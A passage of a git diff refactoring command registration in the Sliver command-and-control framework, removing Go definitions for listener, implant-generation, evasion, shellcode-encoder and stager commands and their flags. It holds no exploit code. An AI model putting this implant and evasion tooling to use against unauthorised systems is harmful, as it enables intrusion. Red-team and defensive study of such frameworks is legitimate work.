!= nil { - return session.Hostname + return session.Hostname, nil } if beacon != nil { - return beacon.Hostname + return beacon.Hostname, nil } - panic("no session or beacon") + return "", errors.New("no session or beacon") } diff --git a/client/command/server.go b/client/command/server.go index 39b8ea8070..ffb6f2ddc9 100644 --- a/client/command/server.go +++ b/client/command/server.go @@ -19,13 +19,9 @@ package command */ import ( - "os" + "github.com/spf13/cobra" "github.com/reeflective/console" - "github.com/reeflective/console/commands/readline" - "github.com/rsteube/carapace" - "github.com/spf13/cobra" - "github.com/spf13/pflag" "github.com/bishopfox/sliver/client/command/alias" "github.com/bishopfox/sliver/client/command/armory" @@ -36,13 +32,12 @@ import ( "github.com/bishopfox/sliver/client/command/creds" "github.com/bishopfox/sliver/client/command/exit" "github.com/bishopfox/sliver/client/command/generate" - "github.com/bishopfox/sliver/client/command/help" "github.com/bishopfox/sliver/client/command/hosts" "github.com/bishopfox/sliver/client/command/info" "github.com/bishopfox/sliver/client/command/jobs" + "github.com/bishopfox/sliver/client/command/licenses" "github.com/bishopfox/sliver/client/command/loot" "github.com/bishopfox/sliver/client/command/monitor" - "github.com/bishopfox/sliver/client/command/operators" operator "github.com/bishopfox/sliver/client/command/prelude-operator" "github.com/bishopfox/sliver/client/command/reaction" "github.com/bishopfox/sliver/client/command/sessions" @@ -54,1852 +49,191 @@ import ( "github.com/bishopfox/sliver/client/command/websites" "github.com/bishopfox/sliver/client/command/wireguard" client "github.com/bishopfox/sliver/client/console" - "github.com/bishopfox/sliver/client/constants" consts "github.com/bishopfox/sliver/client/constants" - "github.com/bishopfox/sliver/client/licenses" ) +// ***** Command Generators and Runner Binders ****** + // ServerCommands returns all commands bound to the server menu, optionally // accepting a function returning a list of additional (admin) commands. -func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.Command) console.Commands { +func ServerCommands(con *client.SliverClient, serverCmds SliverBinder) console.Commands { serverCommands := func() *cobra.Command { server := &cobra.Command{ - Short: "Server commands", + Short: "Server commands", + TraverseChildren: true, + SilenceUsage: true, CompletionOptions: cobra.CompletionOptions{ HiddenDefaultCmd: true, }, } - // Load Reactions - n, err := reaction.LoadReactions() - if err != nil && !os.IsNotExist(err) { - con.PrintErrorf("Failed to load reactions: %s\n", err) - } else if n > 0 { - con.PrintInfof("Loaded %d reaction(s) from disk\n", n) - } - - // [ Groups ] ---------------------------------------------- - groups := []*cobra.Group{ - {ID: consts.GenericHelpGroup, Title: consts.GenericHelpGroup}, - {ID: consts.NetworkHelpGroup, Title: consts.NetworkHelpGroup}, - {ID: consts.PayloadsHelpGroup, Title: consts.PayloadsHelpGroup}, - {ID: consts.SliverHelpGroup, Title: consts.SliverHelpGroup}, - } - server.AddGroup(groups...) - - // [ Exit ] --------------------------------------------------------------- - exitCmd := &cobra.Command{ - Use: "exit", - Short: "Exit the program", - Run: func(cmd *cobra.Command, args []string) { - exit.ExitCmd(cmd, con, args) - }, - GroupID: consts.GenericHelpGroup, - } - server.AddCommand(exitCmd) - - // [ Aliases ] --------------------------------------------- - - aliasCmd := &cobra.Command{ - Use: consts.AliasesStr, - Short: "List current aliases", - Long: help.GetHelpFor([]string{consts.AliasesStr}), - Run: func(cmd *cobra.Command, args []string) { - alias.AliasesCmd(cmd, con, args) - }, - GroupID: consts.GenericHelpGroup, - } - server.AddCommand(aliasCmd) - - aliasLoadCmd := &cobra.Command{ - Use: consts.LoadStr + " [ALIAS]", - Short: "Load a command alias", - Long: help.GetHelpFor([]string{consts.AliasesStr, consts.LoadStr}), - Args: cobra.ExactArgs(1), - Run: func(cmd *cobra.Command, args []string) { - alias.AliasesLoadCmd(cmd, con, args) - }, - } - carapace.Gen(aliasLoadCmd).PositionalCompletion( - carapace.ActionDirectories().Tag("alias directory").Usage("path to the alias directory")) - aliasCmd.AddCommand(aliasLoadCmd) - - aliasInstallCmd := &cobra.Command{ - Use: consts.InstallStr + " [ALIAS]", - Short: "Install a command alias", - Long: help.GetHelpFor([]string{consts.AliasesStr, consts.InstallStr}), - Args: cobra.ExactArgs(1), - Run: func(cmd *cobra.Command, args []string) { - alias.AliasesInstallCmd(cmd, con, args) - }, - } - carapace.Gen(aliasInstallCmd).PositionalCompletion(carapace.ActionFiles().Tag("alias file")) - aliasCmd.AddCommand(aliasInstallCmd) - - aliasRemove := &cobra.Command{ - Use: consts.RmStr + " [ALIAS]", - Short: "Remove an alias", - Long: help.GetHelpFor([]string{consts.RmStr}), - Args: cobra.ExactArgs(1), - Run: func(cmd *cobra.Command, args []string) { - alias.AliasesRemoveCmd(cmd, con, args) - }, - } - carapace.Gen(aliasRemove).PositionalCompletion(alias.AliasCompleter()) - aliasCmd.AddCommand(aliasRemove) - - // [ Armory ] --------------------------------------------- - - armoryCmd := &cobra.Command{ - Use: consts.ArmoryStr, - Short: "Automatically download and install extensions/aliases", - Long: help.GetHelpFor([]string{consts.ArmoryStr}), - Run: func(cmd *cobra.Command, args []string) { - armory.ArmoryCmd(cmd, con, args) - }, - GroupID: consts.GenericHelpGroup, - } - Flags("armory", true, armoryCmd, func(f *pflag.FlagSet) { - f.BoolP("insecure", "I", false, "skip tls certificate validation") - f.StringP("proxy", "p", "", "specify a proxy url (e.g. http://localhost:8080)") - f.BoolP("ignore-cache", "c", false, "ignore metadata cache, force refresh") - f.StringP("timeout", "t", "15m", "download timeout") - }) - server.AddCommand(armoryCmd) - - armoryInstallCmd := &cobra.Command{ - Use: consts.InstallStr, - Short: "Install an alias or extension", - Long: help.GetHelpFor([]string{consts.ArmoryStr, consts.InstallStr}), - Args: cobra.ExactArgs(1), - Run: func(cmd *cobra.Command, args []string) { - armory.ArmoryInstallCmd(cmd, con, args) - }, - } - carapace.Gen(armoryInstallCmd).PositionalCompletion( - armory.AliasExtensionOrBundleCompleter().Usage("name of the extension or alias to install")) - armoryCmd.AddCommand(armoryInstallCmd) - - armoryUpdateCmd := &cobra.Command{ - Use: consts.UpdateStr, - Short: "Update installed an aliases and extensions", - Long: help.GetHelpFor([]string{consts.ArmoryStr, consts.UpdateStr}), - Run: func(cmd *cobra.Command, args []string) { - armory.ArmoryUpdateCmd(cmd, con, args) - }, - } - armoryCmd.AddCommand(armoryUpdateCmd) - - armorySearchCmd := &cobra.Command{ - Use: consts.SearchStr, - Short: "Search for aliases and extensions by name (regex)", - Long: help.GetHelpFor([]string{consts.ArmoryStr, consts.SearchStr}), - Args: cobra.ExactArgs(1), - Run: func(cmd *cobra.Command, args []string) { - armory.ArmorySearchCmd(cmd, con, args) - }, - } - carapace.Gen(armorySearchCmd).PositionalCompletion(carapace.ActionValues().Usage("a name regular expression")) - armoryCmd.AddCommand(armorySearchCmd) - - // [ Update ] -------------------------------------------------------------- - - updateCmd := &cobra.Command{ - Use: consts.UpdateStr, - Short: "Check for updates", - Long: help.GetHelpFor([]string{consts.UpdateStr}), - Run: func(cmd *cobra.Command, args []string) { - update.UpdateCmd(cmd, con, args) - }, - GroupID: consts.GenericHelpGroup, - } - Flags("update", false, updateCmd, func(f *pflag.FlagSet) { - f.BoolP("prereleases", "P", false, "include pre-released (unstable) versions") - f.StringP("proxy", "p", "", "specify a proxy url (e.g. http://localhost:8080)") - f.StringP("save", "s", "", "save downloaded files to specific directory (default user home dir)") - f.BoolP("insecure", "I", false, "skip tls certificate validation") - f.IntP("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - server.AddCommand(updateCmd) - - versionCmd := &cobra.Command{ - Use: consts.VersionStr, - Short: "Display version information", - Long: help.GetHelpFor([]string{consts.VersionStr}), - Run: func(cmd *cobra.Command, args []string) { - update.VerboseVersionsCmd(cmd, con, args) - }, - GroupID: consts.GenericHelpGroup, - } - Flags("update", false, versionCmd, func(f *pflag.FlagSet) { - f.IntP("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - server.AddCommand(versionCmd) - - // [ Jobs ] ----------------------------------------------------------------- - - jobsCmd := &cobra.Command{ - Use: consts.JobsStr, - Short: "Job control", - Long: help.GetHelpFor([]string{consts.JobsStr}), - Run: func(cmd *cobra.Command, args []string) { - jobs.JobsCmd(cmd, con, args) - }, - GroupID: consts.NetworkHelpGroup, - } - Flags("jobs", true, jobsCmd, func(f *pflag.FlagSet) { - f.IntP("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - Flags("jobs", false, jobsCmd, func(f *pflag.FlagSet) { - f.Int32P("kill", "k", -1, "kill a background job") - f.BoolP("kill-all", "K", false, "kill all jobs") - f.IntP("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - FlagComps(jobsCmd, func(comp *carapace.ActionMap) { - (*comp)["kill"] = jobs.JobsIDCompleter(con) - }) - server.AddCommand(jobsCmd) + // Utility function to be used for binding new commands to + // the sliver menu: call the function with the name of the + // group under which this/these commands should be added, + // and the group will be automatically created if needed. + bind := makeBind(server, con) - mtlsCmd := &cobra.Command{ - Use: consts.MtlsStr, - Short: "Start an mTLS listener", - Long: help.GetHelpFor([]string{consts.MtlsStr}), - Run: func(cmd *cobra.Command, args []string) { - jobs.MTLSListenerCmd(cmd, con, args) - }, - GroupID: consts.NetworkHelpGroup, - } - Flags("mTLS listener", false, mtlsCmd, func(f *pflag.FlagSet) { - f.StringP("lhost", "L", "", "interface to bind server to") - f.Uint32P("lport", "l", generate.DefaultMTLSLPort, "tcp listen port") - }) - server.AddCommand(mtlsCmd) - - wgCmd := &cobra.Command{ - Use: consts.WGStr, - Short: "Start a WireGuard listener", - Long: help.GetHelpFor([]string{consts.WGStr}), - Run: func(cmd *cobra.Command, args []string) { - jobs.WGListenerCmd(cmd, con, args) - }, - GroupID: consts.NetworkHelpGroup, - } - Flags("WireGuard listener", false, wgCmd, func(f *pflag.FlagSet) { - f.StringP("lhost", "L", "", "interface to bind server to") - f.Uint32P("lport", "l", generate.DefaultWGLPort, "udp listen port") - f.Uint32P("nport", "n", generate.DefaultWGNPort, "virtual tun interface listen port") - f.Uint32P("key-port", "x", generate.DefaultWGKeyExPort, "virtual tun interface key exchange port") - }) - server.AddCommand(wgCmd) - - dnsCmd := &cobra.Command{ - Use: consts.DnsStr, - Short: "Start a DNS listener", - Long: help.GetHelpFor([]string{consts.DnsStr}), - Run: func(cmd *cobra.Command, args []string) { - jobs.DNSListenerCmd(cmd, con, args) - }, - GroupID: consts.NetworkHelpGroup, - } - Flags("DNS listener", false, dnsCmd, func(f *pflag.FlagSet) { - f.StringP("domains", "d", "", "parent domain(s) to use for DNS c2") - f.BoolP("no-canaries", "c", false, "disable dns canary detection") - f.StringP("lhost", "L", "", "interface to bind server to") - f.Uint32P("lport", "l", generate.DefaultDNSLPort, "udp listen port") - f.BoolP("disable-otp", "D", false, "disable otp authentication") - }) - server.AddCommand(dnsCmd) - - httpCmd := &cobra.Command{ - Use: consts.HttpStr, - Short: "Start an HTTP listener", - Long: help.GetHelpFor([]string{consts.HttpStr}), - Run: func(cmd *cobra.Command, args []string) { - jobs.HTTPListenerCmd(cmd, con, args) - }, - GroupID: consts.NetworkHelpGroup, - } - Flags("HTTP listener", false, httpCmd, func(f *pflag.FlagSet) { - f.StringP("domain", "d", "", "limit responses to specific domain") - f.StringP("website", "w", "", "website name (see websites cmd)") - f.StringP("lhost", "L", "", "interface to bind server to") - f.Uint32P("lport", "l", generate.DefaultHTTPLPort, "tcp listen port") - f.BoolP("disable-otp", "D", false, "disable otp authentication") - f.StringP("long-poll-timeout", "T", "1s", "server-side long poll timeout") - f.StringP("long-poll-jitter", "J", "2s", "server-side long poll jitter") - f.BoolP("staging", "s", false, "enable staging") - }) - server.AddCommand(httpCmd) - - httpsCmd := &cobra.Command{ - Use: consts.HttpsStr, - Short: "Start an HTTPS listener", - Long: help.GetHelpFor([]string{consts.HttpsStr}), - Run: func(cmd *cobra.Command, args []string) { - jobs.HTTPSListenerCmd(cmd, con, args) - }, - GroupID: consts.NetworkHelpGroup, - } - Flags("HTTPS listener", false, httpsCmd, func(f *pflag.FlagSet) { - f.StringP("domain", "d", "", "limit responses to specific domain") - f.StringP("website", "w", "", "website name (see websites cmd)") - f.StringP("lhost", "L", "", "interface to bind server to") - f.Uint32P("lport", "l", generate.DefaultHTTPSLPort, "tcp listen port") - f.BoolP("disable-otp", "D", false, "disable otp authentication") - f.StringP("long-poll-timeout", "T", "1s", "server-side long poll timeout") - f.StringP("long-poll-jitter", "J", "2s", "server-side long poll jitter") - f.BoolP("enable-staging", "s", false, "enable staging") - - f.StringP("cert", "c", "", "PEM encoded certificate file") - f.StringP("key", "k", "", "PEM encoded private key file") - f.BoolP("lets-encrypt", "e", false, "attempt to provision a let's encrypt certificate") - f.BoolP("disable-randomized-jarm", "E", false, "disable randomized jarm fingerprints") - - }) - server.AddCommand(httpsCmd) - - stageCmd := &cobra.Command{ - Use: consts.StageListenerStr, - Short: "Start a stager listener", - Long: help.GetHelpFor([]string{consts.StageListenerStr}), - Run: func(cmd *cobra.Command, args []string) { - jobs.StageListenerCmd(cmd, con, args) - }, - GroupID: consts.NetworkHelpGroup, - } - Flags("stage listener", false, stageCmd, func(f *pflag.FlagSet) { - f.StringP("profile", "p", "", "implant profile name to link with the listener") - f.StringP("url", "u", "", "URL to which the stager will call back to") - f.StringP("cert", "c", "", "path to PEM encoded certificate file (HTTPS only)") - f.StringP("key", "k", "", "path to PEM encoded private key file (HTTPS only)") - f.BoolP("lets-encrypt", "e", false, "attempt to provision a let's encrypt certificate (HTTPS only)") - f.String("aes-encrypt-key", "", "encrypt stage with AES encryption key") - f.String("aes-encrypt-iv", "", "encrypt stage with AES encryption iv") - f.String("rc4-encrypt-key", "", "encrypt stage with RC4 encryption key") - f.StringP("compress", "C", "none", "compress the stage before encrypting (zlib, gzip, deflate9, none)") - f.BoolP("prepend-size", "P", false, "prepend the size of the stage to the payload (to use with MSF stagers)") - }) - FlagComps(stageCmd, func(comp *carapace.ActionMap) { - (*comp)["profile"] = generate.ProfileNameCompleter(con) - (*comp)["cert"] = carapace.ActionFiles().Tag("certificate file") - (*comp)["key"] = carapace.ActionFiles().Tag("key file") - (*comp)["compress"] = carapace.ActionValues([]string{"zlib", "gzip", "deflate9", "none"}...).Tag("compression formats") - }) - server.AddCommand(stageCmd) - - // [ Operators ] -------------------------------------------------------------- - - operatorsCmd := &cobra.Command{ - Use: consts.OperatorsStr, - Short: "Manage operators", - Long: help.GetHelpFor([]string{consts.OperatorsStr}), - Run: func(cmd *cobra.Command, args []string) { - operators.OperatorsCmd(cmd, con, args) - }, - GroupID: consts.GenericHelpGroup, - } - Flags("operators", false, operatorsCmd, func(f *pflag.FlagSet) { - f.IntP("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - server.AddCommand(operatorsCmd) - - // Server-only commands. if serverCmds != nil { - server.AddGroup(&cobra.Group{ID: consts.MultiplayerHelpGroup, Title: consts.MultiplayerHelpGroup}) - server.AddCommand(serverCmds()...) - } - - // [ Sessions ] -------------------------------------------------------------- - - sessionsCmd := &cobra.Command{ - Use: consts.SessionsStr, - Short: "Session management", - Long: help.GetHelpFor([]string{consts.SessionsStr}), - Run: func(cmd *cobra.Command, args []string) { - sessions.SessionsCmd(cmd, con, args) - }, - GroupID: consts.SliverHelpGroup, - } - Flags("sessions", true, sessionsCmd, func(f *pflag.FlagSet) { - f.IntP("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - Flags("sessions", false, sessionsCmd, func(f *pflag.FlagSet) { - f.StringP("interact", "i", "", "interact with a session") - f.StringP("kill", "k", "", "kill the designated session") - f.BoolP("kill-all", "K", false, "kill all the sessions") - f.BoolP("clean", "C", false, "clean out any sessions marked as [DEAD]") - f.BoolP("force", "F", false, "force session action without waiting for results") - - f.StringP("filter", "f", "", "filter sessions by substring") - f.StringP("filter-re", "e", "", "filter sessions by regular expression") - }) - FlagComps(sessionsCmd, func(comp *carapace.ActionMap) { - (*comp)["interact"] = use.BeaconAndSessionIDCompleter(con) - (*comp)["kill"] = use.BeaconAndSessionIDCompleter(con) - }) - server.AddCommand(sessionsCmd) - - sessionsPruneCmd := &cobra.Command{ - Use: consts.PruneStr, - Short: "Kill all stale/dead sessions", - Long: help.GetHelpFor([]string{consts.SessionsStr, consts.PruneStr}), - Run: func(cmd *cobra.Command, args []string) { - sessions.SessionsPruneCmd(cmd, con, args) - }, - } - Flags("prune", false, sessionsPruneCmd, func(f *pflag.FlagSet) { - f.BoolP("force", "F", false, "Force the killing of stale/dead sessions") - }) - sessionsCmd.AddCommand(sessionsPruneCmd) - - // [ Use ] -------------------------------------------------------------- - - useCmd := &cobra.Command{ - Use: consts.UseStr, - Short: "Switch the active session or beacon", - Long: help.GetHelpFor([]string{consts.UseStr}), - Run: func(cmd *cobra.Command, args []string) { - use.UseCmd(cmd, con, args) - }, - GroupID: consts.SliverHelpGroup, - } - Flags("use", true, useCmd, func(f *pflag.FlagSet) { - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - carapace.Gen(useCmd).PositionalCompletion(use.BeaconAndSessionIDCompleter(con)) - server.AddCommand(useCmd) - - useSessionCmd := &cobra.Command{ - Use: consts.SessionsStr, - Short: "Switch the active session", - Long: help.GetHelpFor([]string{consts.UseStr, consts.SessionsStr}), - Run: func(cmd *cobra.Command, args []string) { - use.UseSessionCmd(cmd, con, args) - }, - } - carapace.Gen(useSessionCmd).PositionalCompletion(use.SessionIDCompleter(con)) - useCmd.AddCommand(useSessionCmd) - - useBeaconCmd := &cobra.Command{ - Use: consts.BeaconsStr, - Short: "Switch the active beacon", - Long: help.GetHelpFor([]string{consts.UseStr, consts.BeaconsStr}), - Run: func(cmd *cobra.Command, args []string) { - use.UseBeaconCmd(cmd, con, args) - }, - } - carapace.Gen(useBeaconCmd).PositionalCompletion(use.BeaconIDCompleter(con)) - useCmd.AddCommand(useBeaconCmd) - - // [ Settings ] -------------------------------------------------------------- - - settingsCmd := &cobra.Command{ - Use: consts.SettingsStr, - Short: "Manage client settings", - Long: help.GetHelpFor([]string{consts.SettingsStr}), - Run: func(cmd *cobra.Command, args []string) { - settings.SettingsCmd(cmd, con, args) - }, - GroupID: consts.GenericHelpGroup, - } - settingsCmd.AddCommand(&cobra.Command{ - Use: consts.SaveStr, - Short: "Save the current settings to disk", - Long: help.GetHelpFor([]string{consts.SettingsStr, consts.SaveStr}), - Run: func(cmd *cobra.Command, args []string) { - settings.SettingsSaveCmd(cmd, con, args) - }, - }) - settingsCmd.AddCommand(&cobra.Command{ - Use: consts.TablesStr, - Short: "Modify tables setting (style)", - Long: help.GetHelpFor([]string{consts.SettingsStr, consts.TablesStr}), - Run: func(cmd *cobra.Command, args []string) { - settings.SettingsTablesCmd(cmd, con, args) - }, - }) - settingsCmd.AddCommand(&cobra.Command{ - Use: "beacon-autoresults", - Short: "Automatically display beacon task results when completed", - Long: help.GetHelpFor([]string{consts.SettingsStr, "beacon-autoresults"}), - Run: func(cmd *cobra.Command, args []string) { - settings.SettingsBeaconsAutoResultCmd(cmd, con, args) - }, - }) - settingsCmd.AddCommand(&cobra.Command{ - Use: "autoadult", - Short: "Automatically accept OPSEC warnings", - Long: help.GetHelpFor([]string{consts.SettingsStr, "autoadult"}), - Run: func(cmd *cobra.Command, args []string) { - settings.SettingsAutoAdultCmd(cmd, con, args) - }, - }) - settingsCmd.AddCommand(&cobra.Command{ - Use: "always-overflow", - Short: "Disable table pagination", - Long: help.GetHelpFor([]string{consts.SettingsStr, "always-overflow"}), - Run: func(cmd *cobra.Command, args []string) { - settings.SettingsAlwaysOverflow(cmd, con, args) - }, - }) - settingsCmd.AddCommand(&cobra.Command{ - Use: "small-terminal", - Short: "Set the small terminal width", - Long: help.GetHelpFor([]string{consts.SettingsStr, "small-terminal"}), - Run: func(cmd *cobra.Command, args []string) { - settings.SettingsSmallTerm(cmd, con, args) - }, - }) - settingsCmd.AddCommand(&cobra.Command{ - Use: "user-connect", - Short: "Enable user connections/disconnections (can be very verbose when they use CLI)", - Run: func(cmd *cobra.Command, args []string) { - settings.SettingsUserConnect(cmd, con, args) - }, - }) - settingsCmd.AddCommand(&cobra.Command{ - Use: "console-logs", - Short: "Log console output (toggle)", - Long: help.GetHelpFor([]string{consts.SettingsStr, "console-logs"}), - Run: func(ctx *cobra.Command, args []string) { - settings.SettingsConsoleLogs(ctx, con) - }, - }) - server.AddCommand(settingsCmd) - - // [ Info ] -------------------------------------------------------------- - - infoCmd := &cobra.Command{ - Use: consts.InfoStr, - Short: "Get info about session", - Long: help.GetHelpFor([]string{consts.InfoStr}), - Run: func(cmd *cobra.Command, args []string) { - info.InfoCmd(cmd, con, args) - }, - GroupID: consts.SliverHelpGroup, - } - Flags("use", false, infoCmd, func(f *pflag.FlagSet) { - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - carapace.Gen(infoCmd).PositionalCompletion(use.BeaconAndSessionIDCompleter(con)) - server.AddCommand(infoCmd) - - // [ Shellcode Encoders ] -------------------------------------------------------------- - - shikataGaNaiCmd := &cobra.Command{ - Use: consts.ShikataGaNai, - Short: "Polymorphic binary shellcode encoder (ノ ゜Д゜)ノ ︵ 仕方がない", - Long: help.GetHelpFor([]string{consts.ShikataGaNai}), - Run: func(cmd *cobra.Command, args []string) { - sgn.ShikataGaNaiCmd(cmd, con, args) - }, - Args: cobra.ExactArgs(1), - GroupID: consts.PayloadsHelpGroup, - } - server.AddCommand(shikataGaNaiCmd) - Flags("shikata ga nai", false, shikataGaNaiCmd, func(f *pflag.FlagSet) { - f.StringP("save", "s", "", "save output to local file") - f.StringP("arch", "a", "amd64", "architecture of shellcode") - f.IntP("iterations", "i", 1, "number of iterations") - f.StringP("bad-chars", "b", "", "hex encoded bad characters to avoid (e.g. 0001)") - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - FlagComps(shikataGaNaiCmd, func(comp *carapace.ActionMap) { - (*comp)["arch"] = carapace.ActionValues("386", "amd64").Tag("shikata-ga-nai architectures") - (*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save shellcode") - }) - carapace.Gen(shikataGaNaiCmd).PositionalCompletion(carapace.ActionFiles().Tag("shellcode file")) - - // [ Generate ] -------------------------------------------------------------- - - generateCmd := &cobra.Command{ - Use: consts.GenerateStr, - Short: "Generate an implant binary", - Long: help.GetHelpFor([]string{consts.GenerateStr}), - Run: func(cmd *cobra.Command, args []string) { - generate.GenerateCmd(cmd, con, args) - }, - GroupID: consts.PayloadsHelpGroup, - } - Flags("generate", true, generateCmd, func(f *pflag.FlagSet) { - f.IntP("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - Flags("session", false, generateCmd, func(f *pflag.FlagSet) { - f.StringP("os", "o", "windows", "operating system") - f.StringP("arch", "a", "amd64", "cpu architecture") - f.StringP("name", "N", "", "agent name") - f.BoolP("debug", "d", false, "enable debug features") - f.StringP("debug-file", "O", "", "path to debug output") - f.BoolP("evasion", "e", false, "enable evasion features (e.g. overwrite user space hooks)") - f.BoolP("skip-symbols", "l", false, "skip symbol obfuscation") - f.StringP("template", "I", "sliver", "implant code template") - f.BoolP("external-builder", "E", false, "use an external builder") - f.BoolP("disable-sgn", "G", false, "disable shikata ga nai shellcode encoder") - - f.StringP("canary", "c", "", "canary domain(s)") - - f.StringP("mtls", "m", "", "mtls connection strings") - f.StringP("wg", "g", "", "wg connection strings") - f.StringP("http", "b", "", "http(s) connection strings") - f.StringP("dns", "n", "", "dns connection strings") - f.StringP("named-pipe", "p", "", "named-pipe connection strings") - f.StringP("tcp-pivot", "i", "", "tcp-pivot connection strings") - - f.Uint32P("key-exchange", "X", generate.DefaultWGKeyExPort, "wg key-exchange port") - f.Uint32P("tcp-comms", "T", generate.DefaultWGNPort, "wg c2 comms port") - - f.BoolP("run-at-load", "R", false, "run the implant entrypoint from DllMain/Constructor (shared library only)") - f.BoolP("netgo", "q", false, "force the use of netgo") - f.StringP("traffic-encoders", "A", "", "comma separated list of traffic encoders to enable") - - f.StringP("strategy", "Z", "", "specify a connection strategy (r = random, rd = random domain, s = sequential)") - f.Int64P("reconnect", "j", generate.DefaultReconnect, "attempt to reconnect every n second(s)") - f.Int64P("poll-timeout", "P", generate.DefaultPollTimeout, "long poll request timeout") - f.Uint32P("max-errors", "k", generate.DefaultMaxErrors, "max number of connection errors") - - f.StringP("limit-datetime", "w", "", "limit execution to before datetime") - f.BoolP("limit-domainjoined", "x", false, "limit execution to domain joined machines") - f.StringP("limit-username", "y", "", "limit execution to specified username") - f.StringP("limit-hostname", "z", "", "limit execution to specified hostname") - f.StringP("limit-fileexists", "F", "", "limit execution to hosts with this file in the filesystem") - f.StringP("limit-locale", "L", "", "limit execution to hosts that match this locale") - - f.StringP("format", "f", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see: `psexec` for more info) and 'shellcode' (windows only)") - f.StringP("save", "s", "", "directory/file to the binary to") - f.StringP("c2profile", "C", constants.DefaultC2Profile, "HTTP C2 profile to use") - }) - FlagComps(generateCmd, func(comp *carapace.ActionMap) { - (*comp)["debug-file"] = carapace.ActionFiles() - (*comp)["os"] = generate.OSCompleter(con) - (*comp)["arch"] = generate.ArchCompleter(con) - (*comp)["strategy"] = carapace.ActionValuesDescribed([]string{"r", "random", "rd", "random domain", "s", "sequential"}...).Tag("C2 strategy") - (*comp)["format"] = generate.FormatCompleter() - (*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save implant") - (*comp)["c2profile"] = generate.HTTPC2Completer(con) - }) - server.AddCommand(generateCmd) - - generateBeaconCmd := &cobra.Command{ - Use: consts.BeaconStr, - Short: "Generate a beacon binary", - Long: help.GetHelpFor([]string{consts.GenerateStr, consts.BeaconStr}), - Run: func(cmd *cobra.Command, args []string) { - generate.GenerateBeaconCmd(cmd, con, args) - }, - } - Flags("beacon", false, generateBeaconCmd, func(f *pflag.FlagSet) { - f.Int64P("days", "D", 0, "beacon interval days") - f.Int64P("hours", "H", 0, "beacon interval hours") - f.Int64P("minutes", "M", 0, "beacon interval minutes") - f.Int64P("seconds", "S", 60, "beacon interval seconds") - f.Int64P("jitter", "J", 30, "beacon interval jitter in seconds") - - // Generate flags - f.StringP("os", "o", "windows", "operating system") - f.StringP("arch", "a", "amd64", "cpu architecture") - f.StringP("name", "N", "", "agent name") - f.BoolP("debug", "d", false, "enable debug features") - f.StringP("debug-file", "O", "", "path to debug output") - f.BoolP("evasion", "e", false, "enable evasion features (e.g. overwrite user space hooks)") - f.BoolP("skip-symbols", "l", false, "skip symbol obfuscation") - f.StringP("template", "I", "sliver", "implant code template") - f.BoolP("external-builder", "E", false, "use an external builder") - f.BoolP("disable-sgn", "G", false, "disable shikata ga nai shellcode encoder") - - f.StringP("canary", "c", "", "canary domain(s)") - - f.StringP("mtls", "m", "", "mtls connection strings") - f.StringP("wg", "g", "", "wg connection strings") - f.StringP("http", "b", "", "http(s) connection strings") - f.StringP("dns", "n", "", "dns connection strings") - f.StringP("named-pipe", "p", "", "named-pipe connection strings") - f.StringP("tcp-pivot", "i", "", "tcp-pivot connection strings") - - f.Uint32P("key-exchange", "X", generate.DefaultWGKeyExPort, "wg key-exchange port") - f.Uint32P("tcp-comms", "T", generate.DefaultWGNPort, "wg c2 comms port") - - f.BoolP("run-at-load", "R", false, "run the implant entrypoint from DllMain/Constructor (shared library only)") - f.BoolP("netgo", "q", false, "force the use of netgo") - f.StringP("traffic-encoders", "A", "", "comma separated list of traffic encoders to enable") - - f.StringP("strategy", "Z", "", "specify a connection strategy (r = random, rd = random domain, s = sequential)") - f.Int64P("reconnect", "j", generate.DefaultReconnect, "attempt to reconnect every n second(s)") - f.Int64P("poll-timeout", "P", generate.DefaultPollTimeout, "long poll request timeout") - f.Uint32P("max-errors", "k", generate.DefaultMaxErrors, "max number of connection errors") - - f.StringP("limit-datetime", "w", "", "limit execution to before datetime") - f.BoolP("limit-domainjoined", "x", false, "limit execution to domain joined machines") - f.StringP("limit-username", "y", "", "limit execution to specified username") - f.StringP("limit-hostname", "z", "", "limit execution to specified hostname") - f.StringP("limit-fileexists", "F", "", "limit execution to hosts with this file in the filesystem") - f.StringP("limit-locale", "L", "", "limit execution to hosts that match this locale") - - f.StringP("format", "f", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see: `psexec` for more info) and 'shellcode' (windows only)") - f.StringP("save", "s", "", "directory/file to the binary to") - f.StringP("c2profile", "C", constants.DefaultC2Profile, "HTTP C2 profile to use") - }) - FlagComps(generateBeaconCmd, func(comp *carapace.ActionMap) { - (*comp)["debug-file"] = carapace.ActionFiles() - (*comp)["os"] = generate.OSCompleter(con) - (*comp)["arch"] = generate.ArchCompleter(con) - (*comp)["strategy"] = carapace.ActionValuesDescribed([]string{"r", "random", "rd", "random domain", "s", "sequential"}...).Tag("C2 strategy") - (*comp)["format"] = generate.FormatCompleter() - (*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save implant") - (*comp)["c2profile"] = generate.HTTPC2Completer(con) - }) - generateCmd.AddCommand(generateBeaconCmd) - - generateStagerCmd := &cobra.Command{ - Use: consts.MsfStagerStr, - Short: "Generate a stager using Metasploit (requires local Metasploit installation)", - Long: help.GetHelpFor([]string{consts.MsfStagerStr}), - Run: func(cmd *cobra.Command, args []string) { - generate.GenerateStagerCmd(cmd, con, args) - }, - } - Flags("stager", false, generateStagerCmd, func(f *pflag.FlagSet) { - f.StringP("os", "o", "windows", "operating system") - f.StringP("arch", "a", "amd64", "cpu architecture") - f.StringP("lhost", "L", "", "Listening host") - f.Uint32P("lport", "l", 8443, "Listening port") - f.StringP("protocol", "r", "tcp", "Staging protocol (tcp/http/https)") - f.StringP("format", "f", "raw", "Output format (msfvenom formats, see help generate msf-stager for the list)") - f.StringP("badchars", "b", "", "bytes to exclude from stage shellcode") - f.StringP("save", "s", "", "directory to 